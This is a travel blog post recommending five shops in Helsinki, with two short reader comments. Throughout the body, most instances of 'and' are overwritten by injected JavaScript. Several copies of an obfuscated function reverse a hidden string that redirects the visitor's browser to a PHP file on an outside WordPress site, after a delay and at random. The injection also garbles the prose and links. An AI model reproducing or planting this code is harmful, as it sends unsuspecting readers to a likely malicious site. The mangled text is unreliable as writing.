5 Must See Shops in Helsinki

5 Must See Shops in Helsinki | Sycamore

Shopping in Helsinki is a lot of fun. Interesting andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stylish boutiques, friendly shopkeepers, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a concentrated shopping area make it easy to have a good time. Start at Market Square (Kauppatori), then work your way up the Esplanadi (a grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and boulevard with a park running down the middle of it) andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and back down the shopping street that runs parallel to it -- Aleksanterinkatu. I came back with a few unique gifts andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and souvenirs to take home along with loads of inspiration for Sycamore Street Press. - Eva

1) $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andjoy.fi/eatjoy-farmers-market-andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and-eatjoy-kluuvi-market-hall">Eat & Joy Farmer's Market (Maatilatori) - Full of local Finnish food items -- everything from bread to chocolate to fresh produce -- this is the perfect place to stop in for lunch andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pick up some souvenirs for your family back home. I chose some Finnish artisanal chocolate andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and black licorice to bring back as gifts, then sat down for their lunch special. It's a thing they do all over Helsinki -- you get the soup of the day, salad, bread, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and coffee or tea for a set price. It's a great deal, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the spread at Eat & Joy was hearty andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and delicious.

2) $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and.html">Marimekko - I've been a fan of this famous Finnish brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and since forever, so of course I HAD to see their flagship store in Helsinki. It did not disappoint. Big airy rooms, bright colors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and patterns everywhere you look, it had me drooling. I tried on a few dresses, but being pregnant at the time, they didn't fit quite right. Bad timing! Next time...

3) The Academic Bookstore (Akateeminen) - Even if you only go for the architecture, it's well worth it. Designed by the great Finnish architect, Alvar Aalto, the soaring ceilings, skylights, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and modern lines are simply beautiful to look at. But they also have a great collection of books andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and one of the best selections of English language books we saw on our entire European trip. Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I each picked up some reading for the trip, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Ingrid picked out a couple of small books that are still favorites almost a year later.

4) Monki - Now I realize that this is a Swedish chain store, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and therefore shouldn't really be on this list. BUT. 1) It's awesome. It seems like every other person on the Stockholm Street Style blog is wearing something from this place. 2) It's affordable. 3) We don't have it in the States, so if you happen to go to Helsinki (or any big city in Scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andinavia) you should check it out. I bought a couple of necklaces there, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I get complimented every time I wear them.

5) $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and.html">Market Square (Kaupatori) - A picturesque marketplace right on the waterfront, you can find everything from reindeer pelts, to umbrellas, to a warm plate of sausage andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and potatoes. When the weather turned freezing during our October trip, Kirk bought a pair of handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andknit mittens. (The market at $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and.html">Hakaniemi Square is also great, but you'll have to hop on a tram to get there from the downtown shopping area. )

Also: The best way to see Helsinki monuments, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the fascinating islandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fortress of Suomenlinna.

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  1. claire says:

    all good things! i hope to go back some day.

  2. Anne says:

    Welcome in the summer or snowy February :)

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